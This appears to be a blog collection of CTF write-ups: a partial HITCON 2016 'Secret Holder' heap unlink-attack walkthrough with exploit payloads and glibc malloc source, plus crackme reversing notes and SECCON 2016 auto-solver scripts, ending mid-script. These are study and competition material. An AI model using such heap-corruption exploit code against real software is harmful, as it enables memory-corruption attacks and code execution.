0x30 & ~PREV_INUSE
(=0x30
)とする - Pの中身はどうでもいい(ので何も書き換えない)
というわけでコードはこうなります。
"""unlink attack""" # X = small_secret keep(small, "s"*8) keep(big, "b"*8) renew(huge, ''.join([ '\0' * 0x30, # "small" is allocated to huge+0x30 (fastbins is LIFO) # we can manipulate "small" chunk header with huge # P2 p64(0), # prev_size p64(0xfa0 | 1), # size p64(small_secret - 0x18), # fd p64(small_secret - 0x10), # bk '\0' * (0xfa0 - 0x20), # P # "big" is allocated to huge+0x30+0xfa0 (under B) p64(0xfa0), # prev_size p64(0xfb0 & ~1), # size ])) wipe(big) # free(P) => unlink atack (X = X-0x18)
P2のfd/bkを書き換えてうまくいく裏付けをmalloc.cに求めよう。 Unlinkというものはmalloc_consolidateと呼ばれる処理で呼ばれます。 malloc_consolidateについては、例の神資料の説明を借ります。
ではmalloc_consolidate()の説明です。解放されたchunkの内max_fast以下のサイズのものは無条件にfastbinsに登録される為、大きなサイズになり得る領域を分断しているかもしれません。malloc_consolidate()ではfastbinsに登録された全chunkをこのリストから削除します。
この隣接した未使用チャンクの結合処理で呼ばれるのがUnlinkです。 該当のソースコードはこちらです。今回の条件では①、②、③がポイントです(おそらく)。
4100 static void malloc_consolidate(mstate av) 4101 { 4102 mfastbinptr* fb; /* current fastbin being consolidated */ 4103 mfastbinptr* maxfb; /* last fastbin (for loop control) */ 4104 mchunkptr p; /* current chunk being consolidated */ 4105 mchunkptr nextp; /* next chunk to consolidate */ 4106 mchunkptr unsorted_bin; /* bin header */ 4107 mchunkptr first_unsorted; /* chunk to link to */ 4108 4109 /* These have same use as in free() */ 4110 mchunkptr nextchunk; 4111 INTERNAL_SIZE_T size; 4112 INTERNAL_SIZE_T nextsize; 4113 INTERNAL_SIZE_T prevsize; 4114 int nextinuse; 4115 mchunkptr bck; 4116 mchunkptr fwd; 4117 4118 /* 4119 If max_fast is 0, we know that av hasn't 4120 yet been initialized, in which case do so below 4121 */ 4122 4123 if (get_max_fast () != 0) { 4124 clear_fastchunks(av); 4125 4126 unsorted_bin = unsorted_chunks(av); 4127 4128 /* 4129 Remove each chunk from fast bin and consolidate it, placing it 4130 then in unsorted bin. Among other reasons for doing this, 4131 placing in unsorted bin avoids needing to calculate actual bins 4132 until malloc is sure that chunks aren't immediately going to be 4133 reused anyway. 4134 */ 4135 4136 maxfb = &fastbin (av, NFASTBINS - 1); 4137 fb = &fastbin (av, 0); 4138 do { 4139 p = atomic_exchange_acq (fb, 0); 4140 if (p != 0) { 4141 do { 4142 check_inuse_chunk(av, p); 4143 nextp = p->fd; 4144 4145 /* Slightly streamlined version of consolidation code in free() */ 4146 size = p->size & ~(PREV_INUSE|NON_MAIN_ARENA); 4147 nextchunk = chunk_at_offset(p, size); ① 4148 nextsize = chunksize(nextchunk); 4149 4150 if (!prev_inuse(p)) { ② 4151 prevsize = p->prev_size; 4152 size += prevsize; 4153 p = chunk_at_offset(p, -((long) prevsize)); 4154 unlink(p, bck, fwd); ③ 4155 } 4156
スライド80のタイミングでXの値が変わります。 どうしてX-0xC(X-0x18)を指すことになるのかを順に追っていきます。 まず、Pのfd/bkはXの方を指していますから、mallocから見て、未使用のチャンクリストはX->P2->Xのように見えます。 次に、PからP2のサイズ(Pのチャンクヘッダのprev_size)だけ引かれるため、①で、free(P)だった話が、free(p2)の話にすり替わります。 PでPREV_INUSEを0にしたので②はtrueになります。 最後に、③でUnlink(P2)が走ります。 ここまでがスライド79の内容です。
ではスライド80を見ます。 Unlink(P2)で何が起こるのかをmalloc.cで同様に追います。 Unlinkはunlinkというマクロで次のように定義されています。
1407 #define unlink(P, BK, FD) { \ 1408 FD = P->fd; \ 1409 BK = P->bk; \ 1410 if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \ 1411 malloc_printerr (check_action, "corrupted double-linked list", P); \ 1412 else { \ 1413 FD->bk = BK; \ 1414 BK->fd = FD; \ 1415 if (!in_smallbin_range (P->size) \ 1416 && __builtin_expect (P->fd_nextsize != NULL, 0)) { \ 1417 assert (P->fd_nextsize->bk_nextsize == P); \ 1418 assert (P->bk_nextsize->fd_nextsize == P); \ 1419 if (FD->fd_nextsize == NULL) { \ 1420 if (P->fd_nextsize == P) \ 1421 FD->fd_nextsize = FD->bk_nextsize = FD; \ 1422 else { \ 1423 FD->fd_nextsize = P->fd_nextsize; \ 1424 FD->bk_nextsize = P->bk_nextsize; \ 1425 P->fd_nextsize->bk_nextsize = FD; \ 1426 P->bk_nextsize->fd_nextsize = FD; \ 1427 } \ 1428 } else { \ 1429 P->fd_nextsize->bk_nextsize = P->bk_nextsize; \ 1430 P->bk_nextsize->fd_nextsize = P->fd_nextsize; \ 1431 } \ 1432 } \ 1433 } \ 1434 }
今関係ある処理に絞るとこんなコードとして読み取れます。
1407 #define unlink(P, BK, FD) { \ 1408 FD = P->fd; \ 1409 BK = P->bk; \ 1410 if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \ 1411 malloc_printerr (check_action, "corrupted double-linked list", P); \ 1412 else { \ 1413 FD->bk = BK; \ 1414 BK->fd = FD; \ 1433 } \ 1434 }
実際に値を当てはめて挙動を見てみましょう。
#define unlink(P2, X, X) { \ FD = P2->fd = X-0x18; \ BK = P2->bk = X-0x10; \ if (__builtin_expect (FD->bk != P2 || BK->fd != P2, 0)) \ malloc_printerr (check_action, "corrupted double-linked list", P); \ else { \ X = X-0x10; \ X = X-0x18; \ } \ }
(スライド78の通り、FD->bkとBK->fdつまり、(X-0x10)->bkと(X-0x18)->fdはどちらもXすなわちP2なのでassertは通ります)
よって、XはX-0x18(スライドではX-0xC)を指すことが分かります。
以上がUnlink AttackによるXの書き換えの手順になります。
ポイントはXの指す先を自分でコントロールできなかったが、XをX-0x18に向かせたということです。
Xはsmall_secret
なので、X-0x18はbig_secret
です。
renew()とかいうバッファの内容を書き換える関数がありますから、renew(big)
でbig_secretが指す値を書き換えることができます。
そして、big_secretが指す先はsmall_secretで書き換えることができます。
つまり、big_secretを中継して任意アドレスの内容を書き換えることができます。
書き換える対象はもちろんGOTです。(後編に続く)
別解
fastbinsのくだりなしで、Unlink Attackを成功する方法がHITCON CTF 2016 Quals -- Secret Holder « Hacking Tubeで紹介されている。
"""unlink attack""" # X = small_secret keep(small, "s"*8) keep(big, "b"*8) renew(huge, ''.join([ # P2 p64(0), # prev_size p64(0x21), # size p64(small_secret - 0x18), # fd p64(small_secret - 0x10), # bk # P p64(0x20), # prev_size p64(0x90), # size 'B' * 0x80, p64(0x90), # prev_size p64(0x91), # size 'C' * 0x80, p64(0x90), # prev_size p64(0x91), # size ])) wipe(big) # free(P) => unlink atack (X = X-0x18)
が、なぜこんなに偽チャンクが必要なのだろう?【ご意見募集中】
2016/10/28追記: inaz2さんがfastbinsなし版の解法をgistで公開しています。非常にシンプルでいいすね。
https://gist.github.com/inaz2/732487ee170be9d8d2adf9cb50fe8d35
後編
参考文献
HITCON CTF 2016 Quals Writeup (Reverse: Handcrafted-pyc&ROP)
I participated in HITCON CTF 2016 Quals (2016/10/8-10/9; 48 hours) as a member of Ping-Mic (1 people).
I solved following plobrems in this time:
- Handcrafted-pyc (Reverse 50 pts.)
- ROP (Reverse 250 pts.)
My team result is 126th place (350 pts):
# Gophers in the Shell めっちゃうけるんですけどww
Here's writeups.
Handcrafted-pyc (Reverse 50 pts.)
decompress.py
to convert crackme.py
to crackme.pyc
:
import marshal, zlib, base64 import imp b64d = base64.b64decode('eJyNVktv00AQXm/eL0igiaFA01IO4cIVCUGFBBJwqRAckLhEIQmtRfPwI0QIeio/hRO/hJ/CiStH2M/prj07diGRP43Hs9+MZ2fWMxbnP6mux+oK9xVMHPFViLdCTB0xkeKDFEFfTIU4E8KZq8dCvB4UlN3hGEsdddXU9QTLv1eFiGKGM4cKUgsFCNLFH7dFrS9poayFYmIZm1b0gyqxMOwJaU3r6xs9sW1ooakXuRv+un7Q0sIlLVzOCZq/XtsK2oTSYaZlStogXi1HV0iazoN2CV2HZeXqRQ54TlJRb7FUlKyUatISsdzo+P7UU1Gb1POdMruckepGwk9tIXQTftz2yBaT5JQovWvpSa6poJPuqgao+b9l5Aj/R+mLQIP4f6Q8Vb3g/5TB/TJxWGdZr9EQrmn99fwKtTvAZGU7wzS7GNpZpDm2JgCrr8wrmPoo54UqGampFIeS9ojXjc4E2yI06bq/4DRoUAc0nVnng4k6p7Ks0+j/S8z9V+NZ5dhmrJUM/y7JTJeRtnJ2TSYJvsFq3CQt/vnfqmQXt5KlpuRcIvDAmhnn2E0t9BJ3SvB/SfLWhuOWNiNVZ+h28g4wlwUp00w95si43rZ3r6+fUIEdgOZbQAsyFRRvBR6dla8KCzRdslar7WS+a5HFb39peIAmG7uZTHVm17Czxju4m6bayz8e7J40DzqM0jr0bmv9PmPvk6y5z57HU8wdTDHeiUJvBMAM4+0CpoAZ4BPgJeAYEAHmgAUgAHiAj4AVAGORtwd4AVgC3gEmgBBwCPgMWANOAQ8AbwBHgHuAp4D3gLuARwoGmNUizF/j4yDC5BWM1kNvvlxFA8xikRrBxHIUhutFMBlgQoshhPphGAXe/OggKqqb2cibxwuEXjUcQjccxi5eFRL1fDSbKrUhy2CMb2aLyepkegDWsBwPlrVC0/kLHmeCBQ==') zd = zlib.decompress(b64d) # open("marshal", "wb").write(zd) ml = marshal.loads(zd) with open('crackme.pyc','wb') as f: f.write(imp.get_magic() + b'\0' * 4 + zd)
disasm.py
to disassemble:
# orig. http://nedbatchelder.com/blog/200804/the_structure_of_pyc_files.html import dis, marshal, struct, sys, time, types def show_file(fname): f = open(fname, "rb") magic = f.read(4) moddate = f.read(4) modtime = time.asctime(time.localtime(struct.unpack('I', moddate)[0])) print "magic %s" % (magic.encode('hex')) print "moddate %s (%s)" % (moddate.encode('hex'), modtime) code = marshal.load(f) show_code(code) def show_code(code, indent=''): print "%scode" % indent indent += ' ' print "%sargcount %d" % (indent, code.co_argcount) print "%snlocals %d" % (indent, code.co_nlocals) print "%sstacksize %d" % (indent, code.co_stacksize) print "%sflags %04x" % (indent, code.co_flags) show_hex("code", code.co_code, indent=indent) dis.disassemble(code) print "%sconsts" % indent for const in code.co_consts: if type(const) == types.CodeType: show_code(const, indent+' ') else: print " %s%r" % (indent, const) print "%snames %r" % (indent, code.co_names) print "%svarnames %r" % (indent, code.co_varnames) print "%sfreevars %r" % (indent, code.co_freevars) print "%scellvars %r" % (indent, code.co_cellvars) print "%sfilename %r" % (indent, code.co_filename) print "%sname %r" % (indent, code.co_name) print "%sfirstlineno %d" % (indent, code.co_firstlineno) show_hex("lnotab", code.co_lnotab, indent=indent) def show_hex(label, h, indent): h = h.encode('hex') if len(h) < 60: print "%s%s %s" % (indent, label, h) else: print "%s%s" % (indent, label) for i in range(0, len(h), 60): print "%s %s" % (indent, h[i:i+60]) show_file(sys.argv[1])
I found that password check routine can be bypassed by binary patching.
magic 03f30d0a moddate 00000000 (Thu Jan 1 09:00:00 1970) code argcount 0 nlocals 0 ... snipped ... 737 LOAD_CONST 0 (None) 740 NOP 741 JUMP_ABSOLUTE 759 >> 744 LOAD_GLOBAL 1 (raw_input) 747 JUMP_ABSOLUTE 1480 >> 750 LOAD_FAST 0 (password) 753 COMPARE_OP 2 (==) 756 JUMP_ABSOLUTE 767 >> 759 ROT_TWO 760 STORE_FAST 0 (password) 763 POP_TOP 764 JUMP_ABSOLUTE 744 >> 767 POP_JUMP_IF_FALSE 1591 770 LOAD_GLOBAL 0 (chr) 773 LOAD_CONST 17 (99) ... snipped ...
So I replaced POP_JUMP_IF_FALSE 1591
@767 to NOP
s.
We can check opecodes at CPython's opcode.h.
- Bytecode of
POP_JUMP_IF_FALSE 1591
is114
(\x72
). - Bytecode of
1591
(0x637) is\x37\x06
(little endian). - Bytecode of
NOP
is 9 (\x09
).
So replace 72 37 06
with 09 09 09
in crackme.pyc
in my binary editor. I saved patched binary as crackme.patched.pyc
.
Finally, I got flag:
% python2 crackme.patched.pyc password: bypassed hitcon{Now you can compile and run Python bytecode in your brain!
flag = hitcon{Now you can compile and run Python bytecode in your brain!
ROP (Reverse 250 pts.)
Who doesn't like ROP? Let's try some new features introduced in 2.3.
First, I googled "iseq 2.3". I found that iseq is Ruby 2.3's feature and it is compiled by its Class: RubyVM::InstructionSequence
.
Second, i wrote this scripts to disassemble/run iseq file.
ROP.rb
:
require 'iseq' data = File.read('rop.iseq') # data = Marshal.dump seq # seq_loaded = Marshal.load data # data = data.unpack("C*") # puts data.class new_iseq = RubyVM::InstructionSequence.load_from_binary data if ARGV[0] == "disasm" then puts new_iseq.disasm else new_iseq.eval end
rop.sh
:
#!/bin/sh ruby ROP.rb
to disassemble: ruby ROP.rb disasm > ROP.disasm
to run: ./rop.sh
Third, I hand decompiled iseq like following lines:
for main()
?:
0054 getglobal $stdin 0056 opt_send_without_block <callinfo!mid:gets, argc:0, ARGS_SIMPLE>, <callcache> line = gets(0) 0059 opt_send_without_block <callinfo!mid:chomp, argc:0, ARGS_SIMPLE>, <callcache> 0062 setlocal_OP__WC__0 3 0064 trace 1 ( 39) 0066 getlocal_OP__WC__0 3 0068 putstring "-" 0070 opt_send_without_block <callinfo!mid:split, argc:1, ARGS_SIMPLE>, <callcache> 0073 setlocal_OP__WC__0 2 # check 0075 trace 1 ( 40) check = line.split('-') 0077 getlocal_OP__WC__0 2 0079 opt_size <callinfo!mid:size, argc:0, ARGS_SIMPLE>, <callcache> 0082 putobject 5 0084 opt_eq <callinfo!mid:==, argc:1, ARGS_SIMPLE>, <callcache> 0087 branchif 94 if (size(check) == 5) { // at 94 } else { gg() #game over } 0094 trace 1 ( 41) 0096 getlocal_OP__WC__0 2 0098 send <callinfo!mid:all?, argc:0>, <callcache>, block in <compiled> == disasm: #<ISeq:block in <compiled>@<compiled>>======================= == catch table | catch type: redo st: 0002 ed: 0011 sp: 0000 cont: 0002 | catch type: next st: 0002 ed: 0011 sp: 0000 cont: 0011 |------------------------------------------------------------------------ local table (size: 2, argc: 1 [opts: 0, rest: -1, post: 0, block: -1, kw: -1@-1, kwrest: -1]) [ 2] x<Arg> 0000 trace 256 ( 41) 0002 trace 1 0004 getlocal_OP__WC__0 2 0006 putobject /^[0-9A-F]{4}$/ 0008 opt_regexpmatch2 <callinfo!mid:=~, argc:1, ARGS_SIMPLE>, <callcache> 0011 trace 512 0013 leave 0102 branchif 109 check.all?{|item| item ~= /^[0-9A-F]{4}$/} 0109 trace 1 ( 42) 0111 getlocal_OP__WC__0 2 0113 putobject_OP_INT2FIX_O_0_C_ # 0 0114 opt_aref <callinfo!mid:[], argc:1, ARGS_SIMPLE>, <callcache> 0117 putobject 16 0119 opt_send_without_block <callinfo!mid:to_i, argc:1, ARGS_SIMPLE>, <callcache> # base=16 0122 putobject 31337 0124 opt_eq <callinfo!mid:==, argc:1, ARGS_SIMPLE>, <callcache> 0127 branchif 134 if (check[0].to_i(16) == 31337) { // at 134 } else { gg() } 0136 getlocal_OP__WC__0 2 0138 putobject_OP_INT2FIX_O_1_C_ # 1 0139 opt_aref <callinfo!mid:[], argc:1, ARGS_SIMPLE>, <callcache> 0142 opt_send_without_block <callinfo!mid:reverse, argc:0, ARGS_SIMPLE>, <callcache> 0145 putstring "FACE" 0147 opt_eq <callinfo!mid:==, argc:1, ARGS_SIMPLE>, <callcache> 0150 branchif 157 if (check[1].reverse == "FACE") { // at 157 } else { gg() } 0157 trace 1 ( 44) 0159 putself 0160 putobject 217 # a := 217 0162 getlocal_OP__WC__0 2 0164 putobject 2 0166 opt_aref <callinfo!mid:[], argc:1, ARGS_SIMPLE>, <callcache> 0169 putobject 16 0171 opt_send_without_block <callinfo!mid:to_i, argc:1, ARGS_SIMPLE>, <callcache> # b := check[2].to_i(16) 0174 putobject 314159 # m := 314159 0176 opt_send_without_block <callinfo!mid:f, argc:3, FCALL|ARGS_SIMPLE>, <callcache> 0179 putobject 28 # base=28 0181 opt_send_without_block <callinfo!mid:to_s, argc:1, ARGS_SIMPLE>, <callcache> 0184 opt_send_without_block <callinfo!mid:upcase, argc:0, ARGS_SIMPLE>, <callcache> 0187 putstring "48D5" 0189 opt_eq <callinfo!mid:==, argc:1, ARGS_SIMPLE>, <callcache> 0192 branchif 199 if (f(217, check[2].to_i(16), 314159).to_s(28).upcase == "48D5") { // at 199 } else { gg() } >>> 0x48D5 18645 0201 getlocal_OP__WC__0 2 0203 putobject 3 0205 opt_aref <callinfo!mid:[], argc:1, ARGS_SIMPLE>, <callcache> 0208 putobject 10 0210 opt_send_without_block <callinfo!mid:to_i, argc:1, ARGS_SIMPLE>, <callcache> # base=10 0213 opt_send_without_block <callinfo!mid:prime_division, argc:0, ARGS_SIMPLE>, <callcache> 0216 putobject :first # n.prime_division no first-item 0218 send <callinfo!mid:map, argc:0, ARGS_BLOCKARG>, <callcache>, nil 0222 opt_send_without_block <callinfo!mid:sort, argc:0, ARGS_SIMPLE>, <callcache> 0225 duparray [53, 97] 0227 opt_eq <callinfo!mid:==, argc:1, ARGS_SIMPLE>, <callcache> 0230 branchif 237 if (Prime.first(check[3]) == [53,97]) { // check[3] = 53 * 97 = 5141 // at 237 } else { gg() } 0239 getlocal_OP__WC__0 2 # xs 0241 send <callinfo!mid:map, argc:0>, <callcache>, block in <compiled> map == disasm: #<ISeq:block in <compiled>@<compiled>>======================= == catch table | catch type: redo st: 0002 ed: 0011 sp: 0000 cont: 0002 | catch type: next st: 0002 ed: 0011 sp: 0000 cont: 0011 |------------------------------------------------------------------------ local table (size: 2, argc: 1 [opts: 0, rest: -1, post: 0, block: -1, kw: -1@-1, kwrest: -1]) [ 2] x<Arg> 0000 trace 256 ( 46) 0002 trace 1 0004 getlocal_OP__WC__0 2 0006 putobject 16 0008 opt_send_without_block <callinfo!mid:to_i, argc:1, ARGS_SIMPLE>, <callcache> 0011 trace 512 0013 leave 0245 putobject :^ 0247 opt_send_without_block <callinfo!mid:inject, argc:1, ARGS_SIMPLE>, <callcache> xs.inject(:^) 0250 opt_send_without_block <callinfo!mid:to_s, argc:0, ARGS_SIMPLE>, <callcache> 0253 opt_send_without_block <callinfo!mid:sha1, argc:0, ARGS_SIMPLE>, <callcache> 0256 putstring "947d46f8060d9d7025cc5807ab9bf1b3b9143304" 0258 opt_eq <callinfo!mid:==, argc:1, ARGS_SIMPLE>, <callcache> 0261 branchif 268 // http://sha1.gromweb.com/?hash=947d46f8060d9d7025cc5807ab9bf1b3b9143304 // sha1("5671") = "947d46f8060d9d7025cc5807ab9bf1b3b9143304" if (sha1(check.map{|item| item.to_i(16)}.inject(:^)) == "947d46f8060d9d7025cc5807ab9bf1b3b9143304") { // congratz }
for f()
:
== disasm: #<ISeq:f@<compiled>>========================================= == catch table | catch type: break st: 0021 ed: 0086 sp: 0000 cont: 0086 | catch type: next st: 0021 ed: 0086 sp: 0000 cont: 0018 | catch type: redo st: 0021 ed: 0086 sp: 0000 cont: 0021 |------------------------------------------------------------------------ local table (size: 6, argc: 3 [opts: 0, rest: -1, post: 0, block: -1, kw: -1@-1, kwrest: -1]) [ 6] a<Arg> [ 5] b<Arg> [ 4] m<Arg> [ 3] s [ 2] r 0000 trace 8 ( 27) 0002 trace 1 ( 28) 0004 putobject_OP_INT2FIX_O_1_C_ # 1 0005 setlocal_OP__WC__0 3 <s> s = 1 0007 trace 1 ( 29) 0009 getlocal_OP__WC__0 6 <a> 0011 setlocal_OP__WC__0 2 <r> r = a 0013 trace 1 ( 30) 0015 jump 75 0017 putnil 0018 pop 0019 jump 75 0075 getlocal_OP__WC__0 5 <b> ( 30) 0077 putobject_OP_INT2FIX_O_0_C_ # 0 0078 opt_neq <callinfo!mid:!=, argc:1, ARGS_SIMPLE>, <callcache>, <callinfo!mid:==, argc:1, ARGS_SIMPLE>, <callcache> 0083 branchif 21 if (b != 0) { // at 21 } else { return s } 0021 trace 1 ( 31) 0023 getlocal_OP__WC__0 5 <b> 0025 putobject_OP_INT2FIX_O_0_C_ # = 0 0026 opt_aref <callinfo!mid:[], argc:1, ARGS_SIMPLE>, <callcache> # b[0] 0029 putobject_OP_INT2FIX_O_1_C_ # = 1 0030 opt_eq <callinfo!mid:==, argc:1, ARGS_SIMPLE>, <callcache> 0033 branchunless 49 if (b[0] != 1) { // at 49 } 0035 getlocal_OP__WC__0 3 <s> 0037 getlocal_OP__WC__0 2 <r> 0039 opt_mult <callinfo!mid:*, argc:1, ARGS_SIMPLE>, <callcache> 0042 getlocal_OP__WC__0 4 <m> 0044 opt_mod <callinfo!mid:%, argc:1, ARGS_SIMPLE>, <callcache> 0047 setlocal_OP__WC__0 3 <s> s = s * r % m 0049 trace 1 ( 32) 0051 getlocal_OP__WC__0 5 <b> 0053 putobject_OP_INT2FIX_O_1_C_ # = 1 0054 opt_send_without_block <callinfo!mid:>>, argc:1, ARGS_SIMPLE>, <callcache> 0057 setlocal_OP__WC__0 5 <b> b = b >> 1 0059 trace 1 ( 33) 0061 getlocal_OP__WC__0 2 <r> 0063 getlocal_OP__WC__0 2 <r> 0065 opt_mult <callinfo!mid:*, argc:1, ARGS_SIMPLE>, <callcache> 0068 getlocal_OP__WC__0 4 <m> 0070 opt_mod <callinfo!mid:%, argc:1, ARGS_SIMPLE>, <callcache> 0073 setlocal_OP__WC__0 2 <r> r = r * r % m 0075 getlocal_OP__WC__0 5 <b> ( 30) 0077 putobject_OP_INT2FIX_O_0_C_ # 0 0078 opt_neq <callinfo!mid:!=, argc:1, ARGS_SIMPLE>, <callcache>, <callinfo!mid:==, argc:1, ARGS_SIMPLE>, <callcache> 0083 branchif 21 if (b != 0) { // b = 16, 8, 4, 2, 1, 0 // at 21 } else { return s } ---- 0085 putnil 0086 pop 0087 trace 1 ( 35) 0089 getlocal_OP__WC__0 3 <s> return s 0091 trace 16 ( 36) 0093 leave
to get check[2], check[4] (xs[2], x[4]), i wrote f.rb
and final.rb
:
f.rb
:
def f(a, b, m) s = 1 r = a while b != 0 do if b[0] == 1 then s = s * r % m end b = b >> 1 r = r * r % m end return s end (1..314159).each{|i| if f(217, i, 314159).to_s(28).upcase == "48D5" then puts "found" puts i.to_s(16) # hex(i) end } """result % ruby f.rb found 1bd2 """
final.rb
:
require 'iseq' xs = [31337.to_s(16), "FACE".reverse, "1bd2", "5141"] # puts RubyVM::InstructionSequence.compile("puts xs.map{|item| item.inject(:^)}.to_s").disasm() # a ^ b ^ c ^ d ^ x = e # x = e ^ (a ^ b ^ c ^ d) result = xs.map{|item| item.to_i(16)}.inject(:^) final = (result ^ 5671).to_s(16) key = (xs + [final]).join('-').upcase puts key puts (xs + [final]).map{|item| item.to_i(16)}.inject(:^) p IO.popen("./run.sh", "r+") {|io| io.puts key io.close_write io.gets }
Finally, i got flag:
% ruby final.rb 7A69-ECAF-1BD2-5141-CA72 5671 "Congratz! flag is hitcon{ROP = Ruby Obsecured Programming ^_<}\n"
flag = hitcon{ROP = Ruby Obsecured Programming ^_<}
This CTF was good for me ^_^ Thanks!
SECCON2016 大阪大会(アツマレバイナリアン)ひとり反省会
アツマレトモリナオということで友利奈緒ちゃんたちと「イーグルジャンプ」というチームで出場しました。
友利奈緒!!!! pic.twitter.com/SQPd3Q6Kls
— たけまる (@tkmru) October 2, 2016
メンバー:
- ぴんく (@PINKSAWTOOTH)
- たけまる (@tkmru)
- しゅうすい (@syusui_s)
結果は、
結果はたぶん8位 自分は全然だめだった・・・ 自動化まで完成させて点を取ってくれたチームメイトに感謝。
SECCON2016 大阪大会参加してきた・・・(だめ) - Twitterに書ききれないこと
SECCON大阪の最終結果です。 #seccon pic.twitter.com/bmCCNnxsWU
— ツモり四限遅刻 (@ymduu) 2016年10月2日
圧倒的実装力不足!(普段pythonを書かなすぎている…><)
自動化して得点を入れ始めたのが終了40分前だったので、submitできたのは800点くらい。
# 競技時間は3時間
チームメイトの参加記はこちら:
SECCON大阪大会 2016 30000の問題を自動化するスクリプト、出来てしまった https://t.co/dxtGix9LQh
— Сюусуи (@syusui_s) 2016年10月3日
問題構成
reversing、pwnの2種類×難易度で2種類の4種類。フラグ1つ100点。
resersingパートはbackdoorをモチーフにした問題。特定の入力をするとサーバーがフラグを教えてくれる。 pwnパートはほぼやってないので説明を省略する。
難易度が低い方は、5分に1回バイナリとフラグが変わる。 難易度が高い方は、1秒に1回バイナリとフラグが変わる。 1秒以内に解かないといけないというけではなく、コネクションが維持できている一定時間内であればサーバーに入力を与えることができる。
解いた問題
backdoor (easy)
概要
ぴんくと一緒に解析した。
入力文字列の後ろから1文字ずつxorしてgood_known
と比較しているだけ
(ここで例に挙げるバイナリのmd5sumは242cecd67fc91dc1457c045d23e5baa9
)
00000000004001b0 lea rdi, qword [ss:rbp-0xb] 00000000004001b4 push 0xb 00000000004001b6 push rdi 00000000004001b7 push 0x0 00000000004001b9 call sub_400239 00000000004001be add rsp, 0x18 00000000004001c2 mov ecx, 0xb 00000000004001c7 lea rdi, qword [ss:rbp-0xb] 00000000004001cb movabs rsi, 0x400212 ; Basic Block Registers Used: rcx rsi rdi - Defined: rax rbx rip CPAZSO - Killed: <nothing> - LiveIn: rcx rsp rbp rsi rdi - LiveOut: rcx rsp rbp rsi rdi rip - AvailIn: rax rcx rip CPAZSO - AvailOut: rax rcx rbx rip CPAZSO 00000000004001d5 mov al, byte [ds:rdi+rcx-1] ; XREF=EntryPoint+89 00000000004001d9 mov bl, byte [ds:rsi+rcx-1] 00000000004001dd xor al, 0x5a 00000000004001df cmp al, bl 00000000004001e1 jne 0x4001f4
0000000000400212 db 0xc7 ; '.' ; XREF=EntryPoint+62 0000000000400213 db 0xc9 ; '.' 0000000000400214 db 0x4a ; 'J' 0000000000400215 db 0x5f ; '_' 0000000000400216 db 0xa0 ; '.' 0000000000400217 db 0x28 ; '(' 0000000000400218 db 0xb2 ; '.' 0000000000400219 db 0x61 ; 'a' 000000000040021a db 0x97 ; '.' 000000000040021b db 0x23 ; '#' 000000000040021c db 0xab ; '.'
結果だけ書くと、rsi
にgood_known
、ecx
に文字列長、rdi
にユーザー入力が入るのでreversing技術とobjdumpゴリ押しで自動化可能と分かった。
できた自動回答プログラム
backdoor.py
:
from pwn import * from hexdump import hexdump import os import hashlib import re import base64 r = remote("10.0.1.2", 10000) # r.sendline("") data = r.recvrepeat(1).split('\n') info = data[0] print info binary_b64 = data[1].split(':')[1] # print binary_b64 binary = binary_b64.decode("base64") hexdump(binary) file_name = hashlib.md5(binary).hexdigest() log.info(file_name) with open(file_name, 'wb') as f: f.write(binary) os.system("chmod +x " + file_name) proc = subprocess.Popen(["./find.sh", file_name], stdin=subprocess.PIPE, stdout=subprocess.PIPE) out, _ = proc.communicate() print out good_known = int(out, 16) print "good_known = %#x" % good_known proc = subprocess.Popen(["./xor.sh", file_name], stderr=subprocess.PIPE, stdout=subprocess.PIPE) out, _ = proc.communicate() print "xor out = %r" % out xor_key = int(out, 16) print "xor key = %x" % xor_key proc = subprocess.Popen(["./length.sh", file_name], stderr=subprocess.PIPE, stdout=subprocess.PIPE) out, err = proc.communicate() length = int(out.split('\n',)[0], 16) print "length = %x" % length _from = good_known & 0xfff print "offset = %#x" % _from lbinary = list(binary) print "good_known = " + str(lbinary[_from:_from+length]) good_known = lbinary[_from:_from+length] import string flag = "" # good_known = "\xa5\x59\x2e\x80\x0a\x19\xfc\x33\x5b" # ↓ xorしてるから同じ手順で平文を得られるのになんで全探索してるんですかねぇ… length = len(good_known) # ←はじめに文字列長をベタ書きしていて、手動で解こうとしてたぴんくの時間を無駄にしてしまった for i in reversed(range(length)): # for c in string.printable: # ←誤った思い込み良くない for c in range(256): # al = ord(c) al = c bl = ord(good_known[i]) if al ^ xor_key == bl: flag = chr(c) + flag # print "%r" % flag break if len(flag) == length: print "flag = %r" % flag else: print "[!] incorrect flag. exit" exit() payload = base64.b64encode(flag+'\n') r.sendline(payload) flag_output = r.recvrepeat(1) FLAG = flag_output.split(':')[1] rs = remote('10.0.1.1', 10000) rs.sendline("EagleJump " + FLAG) print rs.recvrepeat(1) # r.interactive()
find.sh
:
#!/bin/sh objdump -Mintel -d $1 | grep -B 2 "mov al,BYTE" | head -n 1 | awk -F, '{print $2}'
# objdump -Mintelと書くことの重要性!(alias対策)
xor.sh
:
#!/bin/sh objdump -Mintel -d $1 | egrep "xor" | awk -F, '{print $2}'
length.sh
:
#!/bin/sh objdump -Mintel -d $1 | egrep "mov ecx" | awk -F, '{print $2}'
backdoor (hard) ※本番では解けていない
(敗因)secretがstringsで引っかかるのに気づかなかった&angr.pyというファイル名を付けて自爆
方針:
strings -tx
でsecretのアドレスを調べる- objdumpとgrepをゴリ押しして、secretを文字列として格納しているBasic Blockを探す
- 正確にはangrに渡すfindのアドレスはBasic Blockの先頭アドレスでもないが、exploreでは問題にならない
import logging logging.basicConfig(level=logging.ERROR) import angr import subprocess import os, sys def main(BIN): # BIN = "30506f9aa41ca3067d7568539a7267e8" with open('find_secret.sh', 'w') as f: f.write(""" str_addr=`strings -tx $1 | grep secret | egrep -o "[0-9]+"` objdump -Mintel -d $1 | grep 0x400${str_addr} | awk -F: '{print $1}' | tr -d ' ' """) p = angr.Project(BIN, load_options={'auto_load_libs': False}) proc = subprocess.Popen(["bash", "find_secret.sh", BIN], stdin=subprocess.PIPE, stdout=subprocess.PIPE) out, _ = proc.communicate() find_addr = int(out, 16) print "[*] find address = %#x" % find_addr initial_state = p.factory.entry_state() pg = p.factory.path_group(initial_state) ex = pg.explore(find=(find_addr)) if len(ex.found): INPUT = ex.found[0].state.posix.dumps(0) # dump stdin print "[*] found: %r" % INPUT print "[*] self check" with open("secret", 'w') as f: content = "this_is_secret" print "[*] content of secret is '%s'" % content f.write(content) os.system("python2 -c \"print('%s')\" | ./%s" % (INPUT, BIN)) else: print "[!] not found" print "" if __name__ == '__main__': if len(sys.argv) != 2: print 